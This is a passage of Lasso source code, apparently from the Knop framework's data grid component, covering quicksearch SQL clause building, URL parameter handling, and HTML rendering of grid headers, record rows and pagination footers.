'%\"');\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t// basic emulation of \"word begins with\"\n\t\t\t\t\t\t\t\titerate: #wordseparators, #wordseparator;\n\t\t\t\t\t\t\t\t\tif(local_defined('removedotbackticks'));\n\t\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' \n\t\t\t\t\t\t\t\t\t\t\t+ ' LIKE \"%' + encode_sql(#wordseparator + #onevalue ) + '%\"');\n\t\t\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' \n\t\t\t\t\t\t\t\t\t\t\t+ ' LIKE \"%' + encode_sql(#wordseparator + #onevalue ) + '%\"');\n\t\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\tif: (local_defined: 'contains');\n\t\t\t\t\t\t\t\t#output_temp -> (insert:  -op='cn');\n\t\t\t\t\t\t\t\t#output_temp -> (insert:  #field = #onevalue );\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t#output_temp -> (insert:  -op='bw');\n\t\t\t\t\t\t\t\t#output_temp -> (insert:  #field = #onevalue );\n\t\t\t\t\t\t\t\tif: !(self -> 'database' -> 'isfilemaker');\n\t\t\t\t\t\t\t\t\t// this variant is not needed for FileMaker since it already searches with \"word begins with\" as default\t\t\t\t\t\t\t#output_temp -> (insert:  -op='cn');\n\t\t\t\t\t\t\t\t\titerate: #wordseparators, #wordseparator;\n\t\t\t\t\t\t\t\t\t\t#output_temp -> (insert:  -op='cn');\n\t\t\t\t\t\t\t\t\t\t#output_temp -> (insert:  #field = #wordseparator + #onevalue );\n\t\t\t\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/iterate;\n\t\t\t\t\tif: #_sql;\n\t\t\t\t\t\tif: #output_temp -> size > 1;\n\t\t\t\t\t\t\t#output_temp = '(' + #output_temp -> (join: ' OR ') + ')';\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t#output_temp = #output_temp -> first;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#output -> (insert: #output_temp);\n\t\t\t\t\telse;\n\t\t\t\t\t\tif: #output_temp -> size > 2;\n\t\t\t\t\t\t\t#output_temp -> (insert: -opbegin='or', 1);\n\t\t\t\t\t\t\t#output_temp -> (insert: -opend='or');\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\t#output -> (merge: #output_temp);\n\t\t\t\t\t/if;\n\t\t\t\t/iterate;\n\t\t\t\t\n\t\t\t\tif: #_sql;\n\t\t\t\t\tif: #output -> size;\n\t\t\t\t\t\t#output = '(' + #output -> (join: ' AND ') + ')';\n\t\t\t\t\telse;\n\t\t\t\t\t\t#output = string;\n\t\t\t\t\t/if;\n\t\t\t\telse;\n\t\t\t\t\tif: #output -> size;\n\t\t\t\t\t\t#output -> (insert: -opbegin='and', 1);\n\t\t\t\t\t\t#output -> (insert: -opend='and');\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/if; // isfilemaker\n\t\t/if; // #fieldvalue != ''\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\t\n\tdefine_tag: 'urlargs', -description='returns all get params that begin with - as a query string, for internal use in links in the grid. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-except (optional) Exclude these parameters (string or array)\\n\\\n\t\t\t-prefix (optional) For example ? or &amp; to include at the beginning of the querystring \\n\\\n\t\t\t-suffix (optional) For example &amp; to include at the end of the querystring',\n\t\t-optional='except', -copy,\n\t\t-optional='prefix',\t// for example ? or &amp; to include at the beginning of the querystring \n\t\t-optional='suffix';\t// for example &amp; to include at the end of the querystring\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: 'output'=array, 'param'=null;\n\n\t\t// only getparams to not send along -action etc\n\t\tlocal: 'clientparams'=client_getparams;\n\n\t\t!(local_defined: 'except') ? local: 'except'=array;\n\t\t#except -> type != 'array' ? #except = array: #except;\n\t\t#except -> (insert: -session);\n\t\t\n\t\t// add getparams that begin with -\n\t\titerate: #clientparams, #param;\n\t\t\tif: #param -> type == 'pair';\n\t\t\t\tif: #param -> name -> (beginswith: '-') && #except !>> #param -> name;\n\t\t\t\t\t#output -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));\n\t\t\t\t/if;\n\t\t\telse; // just a string param (no pair)\n\t\t\t\tif: #param -> (beginswith: '-') && #except !>> #param;\n\t\t\t\t\t#output -> (insert: encode_stricturl: #param);\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/iterate;\n\n\t\tif: self -> 'nav' -> isa('nav');\n\t\t\t// send params that have been defined as -params in nav\n\t\t\tlocal: 'navitem'=self -> 'nav' -> getnav;\n\t\t\t// add post params\n\t\t\t#clientparams -> (merge: client_postparams);\n\n\t\t\titerate: #navitem -> (find: 'params'), #param;\n\t\t\t\tif: #clientparams >> #param && #clientparams -> (find: #param) -> first -> type == 'pair';\n\t\t\t\t\t#output -> (insert: (encode_stricturl: #clientparams -> (find: #param) -> first -> name) +  '=' + (encode_stricturl: #clientparams -> (find: #param) -> first -> value));\n\t\t\t\telse: #clientparams >> #param;\n\t\t\t\t\t#output -> (insert: encode_stricturl: #clientparams -> (find: #param) -> first);\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\t\t#output = string: (#output -> (join: '&amp;'));\n\t\t// restore / in paths\n\t\t#output -> replace('%2F', '/');\n\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\tif: #output -> size;\n\t\t\treturn: (local: 'prefix') + #output + (local: 'suffix');\n\t\t/if;\n\n\t/define_tag;\n\t\n\t\n\tdefine_tag: 'renderhtml', -description='Outputs the complete record listing. Calls renderheader, renderlisting and renderfooter as well. \\\n\t\t\tIf 10 records or more are shown, renderfooter is added also just below the header.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-inlinename (optional) If not specified, inlinename from the connected database object is used\\n\\\n\t\t\t-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted.',\n\t\t-optional='inlinename',\n\t\t-optional='xhtml',\n\t\t-optional='numbered',\n\t\t-optional='startwithfooter';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: 'output'=string,\n\t\t\t'db'=@(self -> 'database'), \n\t\t\t'_xhtml' = (((local_defined: 'xhtml') && #xhtml != false) ? true | false);\n\t\tif(local_defined('numbered'));\n\t\t\tlocal('numberedpaging'=((#numbered !== false) ? integer(#numbered) | false));\n\t\telse;\n\t\t\tlocal('numberedpaging'=(((self -> 'numbered') !== false) ? integer(self -> 'numbered') | false));\n\t\t/if;\n\n\t\tlocal_defined('startwithfooter') && #startwithfooter != false ? #startwithfooter = true | local('startwithfooter') = false;\n\n\t\t!(local_defined: 'inlinename') ? local: 'inlinename'=string;\n\t\tself -> 'footer' = (self -> (renderfooter: -xhtml = #_xhtml, -numbered=#numberedpaging));\n\t\t#output += (self -> renderheader(-start, -xhtml = #_xhtml, -startwithfooter = #startwithfooter));\n\t\tif: #db -> shown_count >= 10 && !#startwithfooter;\n\t\t\t#output += self -> 'footer';\n\t\t/if;\n\t\t#output += (self -> (renderlisting: -inlinename=#inlinename, -xhtml=#_xhtml));\n\n\t\t#output += self -> 'footer' + '</table>\\n';\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\n\tdefine_tag: 'renderlisting', -description='Outputs just the actual record listing. Is called by renderhtml. \\\n\t\t\tParameters:\\n\\\n\t\t\t-inlinename (optional) If not specified, inlinename from the connected database object is used',\n\t\t-optional='inlinename',\n\t\t-optional='xhtml';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: '_inlinename'=string, \n\t\t\t'output'=string, \n\t\t\t'fields'=(self -> 'fields'), \n\t\t\t'field'=string,\n\t\t\t'keyfield'=null,\n\t\t\t'affectedrecord_keyvalue'=null,\n\t\t\t'record_loop_count'=integer,\n\t\t\t'db'=@(self -> 'database'), \n\t\t\t'nav'=@(self -> 'nav'),\n\t\t\t'dbfieldmap'=@(self -> 'dbfieldmap'),\n\t\t\t'classarray'=array,\n\t\t\t'fieldname'=string,\n\t\t\t'value'=string,\n\t\t\t'keyparamname',\n\t\t\t'url',\n\t\t\t'url_cached_temp',\n\t\t\t'_xhtml' = (((local_defined: 'xhtml') && #xhtml != false) ? true | false),\n\t\t\t'lang'=@(self -> 'lang');\n\t\t\t\n\t\tif: (local: 'inlinename')!='';\n\t\t\t#_inlinename = #inlinename;\n\t\telse: #db -> type == 'database';\n\t\t\t#_inlinename=#db -> 'inlinename';\n\t\t\t#keyfield=#db -> 'keyfield';\n\t\t\t#affectedrecord_keyvalue = #db -> 'affectedrecord_keyvalue';\n\t\t/if;\n\t\t#output += '\\n<tbody>\\n';\n\t\tif: #nav -> (isa: 'nav');\n\t\t\titerate: #fields, #field;\n\t\t\t\tif: (#field -> (find: 'url')) != '';\n\t\t\t\t\t#url = (#field -> (find: 'url'));\n\t\t\t\t\t#keyparamname = (#field -> (find: 'keyparamname'));\n\t\t\t\t\t#field -> insert('url_cached' = (#nav -> (url: -path=#url, \n\t\t\t\t\t\t#keyparamname='###keyvalue###',\n\t\t\t\t\t\t-autoparams,\n\t\t\t\t\t\t-except=(array: -path))));\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\t\trecords: -inlinename=#_inlinename;\n\t\t\t#record_loop_count = loop_count;\n\t\t\t#output += '\\n<tr>';\n\t\t\titerate: #fields, #field;\n\t\t\t\t#fieldname = (#dbfieldmap -> (find: (#field -> (find: 'name'))));\n\t\t\t\t#keyparamname = (#field -> (find: 'keyparamname'));\n\t\t\t\t#value=(field: #fieldname);\n\t\t\t\tif: #field -> (find: 'template') -> type == 'map';\n\t\t\t\t\t#value=string(#value);\n\t\t\t\t\tif: #field -> (find: 'template') >> #value;\n\t\t\t\t\t\t#value = #field -> (find: 'template') -> (find: #value);\n\t\t\t\t\telse: #field -> (find: 'template') >> '-default';\n\t\t\t\t\t\t#value = #field -> (find: 'template') -> (find: '-default');\n\t\t\t\t\telse;\n\t\t\t\t\t\t// show fieldvalue as is\n\t\t\t\t\t/if;\n\t\t\t\t\t// substitute field value in the display template\n\t\t\t\t\t#value -> (replace: '#value#', (field: #fieldname));\n\t\t\t\telse: #field -> (find: 'template') -> (isa: 'tag');\n\t\t\t\t\t#value = #field -> (find: 'template') -> (run: -params=#value);\n\t\t\t\t/if;\n\t\t\t\t#classarray=array;\n\t\t\t\tif:  #affectedrecord_keyvalue == (field: #keyfield) && (field: #keyfield) != '';\n\t\t\t\t\t// hightlight affected row\n\t\t\t\t\t#classarray -> (insert: 'highlight');\n\t\t\t\telse;\n\t\t\t\t\t(#record_loop_count - 1)  % 2 == 0 ? #classarray -> (insert: 'even');\n\t\t\t\t/if;\n\t\t\t\t// Added by JC 081127 to handle td specific classes\n\t\t\t\t(#field -> find('class') -> size ? #classarray -> insert( #field -> find('class')));\n\t\t\t\t#output += '<td';\n\t\t\t\tif: #classarray -> size;\n\t\t\t\t\t#output += ' class=\"' + #classarray -> (join: ' ') + '\"';\n\t\t\t\t/if;\n\t\t\t\t#output += '>';\n\t\t\t\tif: (#field -> (find: 'url')) != '';\n\t\t\t\t\t#url = (#field -> (find: 'url'));\n\t\t\t\t\t/*\n\t\t\t\t\tif: #nav -> (isa: 'nav') && #url !>> '#value#';\n\t\t\t\t\t\t#output += '<a href=\"' + (#nav -> (url: -path=#url, \n\t\t\t\t\t\t\t#keyparamname=(field: #keyfield),\n\t\t\t\t\t\t\t-autoparams,\n\t\t\t\t\t\t\t-except=(array: -path)));\n\t\t\t\t\t*/\n\t\t\t\t\tif: #field -> find('url_cached') -> size && #url !>> '#value#';\n\t\t\t\t\t\t#url_cached_temp = #field -> find('url_cached');\n\t\t\t\t\t\t#url_cached_temp -> replace('###keyvalue###', field(#keyfield));\n\t\t\t\t\t\t#output += '<a href=\"' + #url_cached_temp;\n\t\t\t\t\t\t#output += '\">' +  #value \n\t\t\t\t\t\t\t// show something to click on even if the field is empty\n\t\t\t\t\t\t\t+ ((string_findregexp: #value, -find='\\\\w*') -> size == 0 ? (#lang -> linktext_edit)) \n\t\t\t\t\t\t\t+ '</a>';\n\t\t\t\t\telse;\n\t\t\t\t\t\t#url -> (replace: '#value#', (field: #fieldname));\n\t\t\t\t\t\t#output += '<a href=\"' + #url + '\"'; \n\t\t\t\t\t\t#url -> (beginswith: 'http://') || #url -> (beginswith: 'https://') || #url -> (beginswith: 'mailto:')\n\t\t\t\t\t\t\t? #output += ' class=\"ext\"';\n\t\t\t\t\t\t#output += '>' +  #value + '</a>';\n\t\t\t\t\t/if;\n\t\t\t\telse;\n\t\t\t\t\t#output += #value;\n\t\t\t\t/if;\n\t\t\t\t#output += '</td>\\n';\n\t\t\t/iterate;\n\t\t\t#output += '</tr>\\n';\n\t\t/records;\n\t\t#output += '\\n</tbody>\\n';\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\t\n\t\n\tdefine_tag: 'renderheader', -description='Outputs the header of the grid with the column headings. \\\n\t\t\tAutomatically included by ->renderhtml. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-start (optional flag) Also output opening <table> tag',\n\t\t-optional='start',\n\t\t-optional='xhtml',\n\t\t-optional = 'startwithfooter';\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: 'output'=string, \n\t\t\t'db'=@(self -> 'database'), \n\t\t\t'nav'=@(self -> 'nav'),\n\t\t\t'fields'=@(self -> 'fields'), \n\t\t\t'field'=string,\n\t\t\t'classarray'=array,\n\t\t\t'_xhtml' = ((local_defined: 'xhtml') && #xhtml != false) ? true | false,\n\t\t\t'lang'=@(self -> 'lang');\n\t\tlocal_defined('startwithfooter') && #startwithfooter != false ? #startwithfooter = true | local('startwithfooter') = false;\n\n\n\t\t(local_defined: 'start') ? #output += '<table id=\"' + (self -> 'tbl_id') + '\" class=\"grid' + (self -> 'class' -> size > 0 ? ' ' + self -> 'class') + '\">';\n\t\t#output += '<thead>\\n<tr>';\n\t\tif: (self -> 'quicksearch_form') -> type == 'form';\n\t\t\t#output += '<th colspan=\"' + (#fields -> size) + '\" class=\"quicksearch';\n\t\t\t\t((self -> 'quicksearch_form') -> (getvalue: '-q') != '') ? #output += ' highlight';\n\t\t\t#output += '\">';\n\n\t\t\tif: (self -> 'rawheader') -> size > 0 ;\n\t\t\t\t#output += (self -> 'rawheader');\n\t\t\t/if;\n\n\n\t\t\t#output += (self -> 'quicksearch_form') -> (renderform: -xhtml = #_xhtml);\n\t\t\tif: (self -> 'quicksearch_form_reset') -> type =='form';\n\t\t\t\t#output += (self -> 'quicksearch_form_reset') -> (renderform: -xhtml = #_xhtml);\n\t\t\t/if;\n\t\t\t#output += '</th></tr>\\n';\n\t\telse((self -> 'rawheader') -> size > 0);\n\t\t\t#output += '<th colspan=\"' + (#fields -> size) + '\">';\n\t\t\t#output += (self -> 'rawheader');\n\t\t\t#output += '</th></tr>\\n';\n\t\t/if;\n\n\t\tif(#startwithfooter);\n\t\t\t#output += self -> 'footer';\n\t\t/if;\n\n\t\t#output += '<tr>';\n\n\t\titerate: #fields, #field;\n\t\t\t#classarray=array;\n\t\t\t//(self -> 'quicksearch_form') -> type == 'form' ? #classarray -> (insert: 'notopborder');\n\t\t\tif: !(self -> 'nosort');\n\t\t\t\t(self -> 'sortfield') == (#field -> (find: 'name')) \n\t\t\t\t\t&& !(#field -> (find: 'nosort')) ? #classarray -> (insert: 'sort');\n\t\t\t/if;\n\t\t\t#output += '<th';\n\t\t\tif: #field -> (find: 'width') > 0;\n\t\t\t\t#output += ' style=\"width: ' + (integer: #field -> (find: 'width')) + 'px;\"';\n\t\t\t/if;\n\t\t\t// Added by Jolle 081127 to handle td specific classes\n\t\t\t(#field -> find('class') -> size ? #classarray -> insert( #field -> find('class')));\n\t\t\tif: #classarray -> size;\n\t\t\t\t#output += ' class=\"' + #classarray -> (join: ' ') + '\"';\n\t\t\t/if;\n\t\t\t#output += '>';\n\t\t\tif: (#field -> (find: 'nosort')) || (self -> 'nosort');\n\t\t\t\t#output += '<div>' + (#field -> (find: 'label')) '</div>';\n\t\t\telse;\n\t\t\t\tif: (#classarray >> 'sort' && (self -> 'sortdescending') && (self -> 'defaultsort') == '');\n\t\t\t\t\t// create link to change to unsorted\n\t\t\t\t\tif: #nav -> isa('nav');\n\t\t\t\t\t\t#output += '<a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -sort, -desc, -page, -path)) + '\"'\n\t\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_showunsorted) + '\">';\n\t\t\t\t\telse;\n\t\t\t\t\t\t#output += '<a href=\"./'\n\t\t\t\t\t\t\t+ (self -> (urlargs: -except=(array: -sort, -desc, -page), -prefix='?')) + '\"'\n\t\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_showunsorted) + '\">';\n\t\t\t\t\t/if;\n\t\t\t\telse;\n\t\t\t\t\t// create link to toggle sort mode\n\t\t\t\t\tif: #nav -> isa('nav');\n\t\t\t\t\t\t#output += '<a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -sort, -desc, -page, -path), \n\t\t\t\t\t\t\t-urlargs='-sort=' + (#field -> (find: 'name'))\n\t\t\t\t\t\t\t\t+ (#classarray >> 'sort' && !(self -> 'sortdescending') ? '&amp;-desc')) + '\"'\n\t\t\t\t\t\t\t+ ' title=\"' + (#classarray >> 'sort' \n\t\t\t\t\t\t\t\t?  (#lang -> linktitle_changesort) + ' ' \n\t\t\t\t\t\t\t\t\t+ ((self -> 'sortdescending') ? (#lang -> linktitle_ascending) | (#lang -> linktitle_descending))\n\t\t\t\t\t\t\t\t| (#lang -> linktitle_sortascby) + ' ' + (encode_html: (#field -> (find: 'label'))) ) + '\">';\n\t\t\t\t\telse;\n\t\t\t\t\t\t#output += '<a href=\"./?-sort=' + (#field -> (find: 'name')) \n\t\t\t\t\t\t\t+ (#classarray >> 'sort' && !(self -> 'sortdescending') ? '&amp;-desc') \n\t\t\t\t\t\t\t+ (self -> (urlargs: -except=(array: -sort, -desc, -page), -prefix='&amp;')) + '\"'\n\t\t\t\t\t\t\t+ ' title=\"' + (#classarray >> 'sort' \n\t\t\t\t\t\t\t\t?  (#lang -> linktitle_changesort) + ' ' \n\t\t\t\t\t\t\t\t\t+ ((self -> 'sortdescending') ? (#lang -> linktitle_ascending) | (#lang -> linktitle_descending))\n\t\t\t\t\t\t\t\t| (#lang -> linktitle_sortascby) + ' ' + (encode_html: (#field -> (find: 'label'))) ) + '\">';\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\t#output += (#field -> (find: 'label'));\n\t\t\t\tif: (string_findregexp: (#field -> (find: 'label')), -find='\\\\S') -> size == 0;\n\t\t\t\t\t#output += '&nbsp;'; // to show sort link as block element properly even for empty label\n\t\t\t\t/if;\n\t\t\t\tif: #classarray >> 'sort';\n\t\t\t\t\t#output += ' <span class=\"sortmarker\"> ' + ((self -> 'sortdescending') ? '&#9660;' | '&#9650;') + '</span>';\n\t\t\t\t/if;\n\t\t\t\t#output += '</a>';\n\t\t\t /if;\n\t\t\t #output += '</th>\\n';\n\t\t/iterate;\n\t\t#output += '</tr>\\n</thead>\\n';\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\tdefine_tag: 'renderfooter', -description='Outputs the footer of the grid with the prev/next links and information about found count. \\\n\t\t\tAutomatically included by ->renderhtml\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-end (optional flag) Also output closing </table> tag\\n\\\n\t\t\t-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted.',\n\t\t-optional='end',\n\t\t-optional='numbered',\n\t\t-optional='xhtml';\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: 'output'=string, \n\t\t\t'db'=@(self -> 'database'), \n\t\t\t'nav'=@(self -> 'nav'),\n\t\t\t'fields'=@(self -> 'fields'), \n\t\t\t'field'=string,\n\t\t\t//'numberedpaging'=(((local_defined: 'numbered') && #numbered !== false) ? integer(#numbered) | false),\n\t\t\t'_xhtml' = ((local_defined: 'xhtml') && #xhtml != false) ? true | false,\n\t\t\t'lang'=@(self -> 'lang'),\n\t\t\t'page'=(self -> page),\n\t\t\t'lastpage'=(self -> lastpage),\n\t\t\t'url_cached',\n\t\t\t'url_cached_temp';\n\t\tif(local_defined('numbered'));\n\t\t\tlocal('numberedpaging'=((#numbered !== false) ? integer(#numbered) | false));\n\t\telse;\n\t\t\tlocal('numberedpaging'=(((self -> 'numbered') !== false) ? integer(self -> 'numbered') | false));\n\t\t/if;\n\t\t\t\n\t\tif(#nav -> isa('nav'));\n\t\t\t#url_cached=#nav -> url(-autoparams, -getargs, -except=(array: -page, -path), \n\t\t\t\t\t-urlargs='-page=###page###');\n\t\t/if;\n\t\tif: #numberedpaging !== false && #numberedpaging < 6;\n\t\t\t// show 10 page numbers as default\n\t\t\t#numberedpaging = 6;\n\t\t/if;\n\t\tif: #numberedpaging;\n\t\t\t// make sure we have an even number\n\t\t\t#numberedpaging += #numberedpaging % 2;\n\t\t/if;\n\t\t\n\t\t#output += '\\n<tr><th colspan=\"' + (#fields -> size) + '\" class=\"footer first'  + '\">';\n\t\t/* not used\n\t\tif: #nav -> isa('nav');\n\t\t\tlocal: 'url'=#nav -> url(-autoparams, -getargs, -except=(array: -page, -path), -urlargs='-page='),\n\t\t\t\t'url_prefix'=(#nav -> 'navmethod' == 'param' ? '&amp;' | '?');\n\t\telse;\n\t\t\tlocal: 'url'='./' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')),\n\t\t\t\t'url_prefix'='?';\n\t\t/if;\n\t\t*/\n\t\t// JC 2010-05-14 added span separation for better styling\n\t\tif: #numberedpaging;\n\t\t\tlocal: 'page_from'=1,\n\t\t\t\t'page_to'=#lastpage;\n\t\t\tif: #lastpage > #numberedpaging;\n\t\t\t\t#page_from=#page - (#numberedpaging/2 - 1);\n\t\t\t\t#page_to=#page + (#numberedpaging/2);\n\t\t\t\tif: #page_from < 1;\n\t\t\t\t\t#page_to += (1 - #page_from);\n\t\t\t\t\t#page_from = 1;\n\t\t\t\t/if;\n\t\t\t\tif: #page_to > #lastpage;\n\t\t\t\t\t#page_from = #lastpage - (#numberedpaging - 1);\n\t\t\t\t\t#page_to = #lastpage;\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\t#output += '<span class=\"foundcount\">' + #db -> found_count + ' ' + (#lang -> footer_found) + '</span> &#8212; <span class=\"pagination\">' + (#lang -> linktext_gotopage) + ': '; // SP customization\n\t\t\tif: #page > 1;\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t// 2010-12-23\tSP\tCorrected pagination bug for -numbered.\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + 1);\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), \n\t\t\t\t\t\t-urlargs='-page=' + (#page - 1)) + '\" class=\"prevnext prev\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_goprev) + '\">' + (#lang -> linktext_prev) + '</a> ';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext first\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gofirst) + '\">' + (#lang -> linktext_first) + '</a> ';\n\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + (#page - 1));\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext prev\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_goprev) + '\">' + (#lang -> linktext_prev) + '</a> ';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=1\" class=\"prevnext first\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gofirst) + '\">' + (#lang -> linktext_first) + '</a> ';\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + (#page - 1) + '\" class=\"prevnext prev\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_goprev) + '\">' + (#lang -> linktext_prev) + '</a> ';\n\t\t\t\t/if;\n\t\t\telse;\n\t\t\t\t//#output += ' <span class=\"prevnext prev dim\">' + (#lang -> linktext_prev) + '</span> ';\n\t\t\t/if;\n\t\t\tif: #page_from > 1;\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + 1);\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),\n\t\t\t\t\t\t-urlargs='-page=1') + '\" class=\"prevnext numbered first\">1</a>';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext numbered first\">1</a>';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=1\" class=\"prevnext numbered first\">1</a> ';\n\t\t\t\t/if;\n\t\t\t\tif: #page_from > 2;\n\t\t\t\t\t#output +='...';\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\tloop: -from=#page_from, -to=#page_to;\n\t\t\t\tif: loop_count == #page;\n\t\t\t\t\t#output += ' <span class=\"numbered current\">' + loop_count + '</span> ';\n\t\t\t\telse;\n\t\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + loop_count);\n\t\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),\n\t\t\t\t\t\t\t-urlargs='-page=' + loop_count) + '\" class=\"prevnext numbered\">' + loop_count + '</a> ';*/\n\t\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext numbered\">' + loop_count + '</a> ';\n\t\t\t\t\telse;\n\t\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t\t+ '-page=' + loop_count + '\" class=\"prevnext numbered\">' + loop_count + '</a> ';\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/loop;\n\t\t\tif: #page_to < #lastpage;\n\t\t\t\tif: #page_to < (#lastpage - 1);\n\t\t\t\t\t#output += '...';\n\t\t\t\t/if;\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + #lastpage);\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),\n\t\t\t\t\t\t-urlargs='-page=' + #lastpage) + '\" class=\"prevnext numbered last\">' + #lastpage + '</a> ';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext numbered last\">' + #lastpage + '</a> ';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + #lastpage + '\" class=\"prevnext numbered last\">' + #lastpage + '</a> ';\n\t\t\t\t/if;\n\t\t\t/if;\n\t\n\t\t\tif: #page < #lastpage;\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + (#page + 1));\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), \n\t\t\t\t\t\t-urlargs='-page=' + (#page + 1)) + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';\n\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + 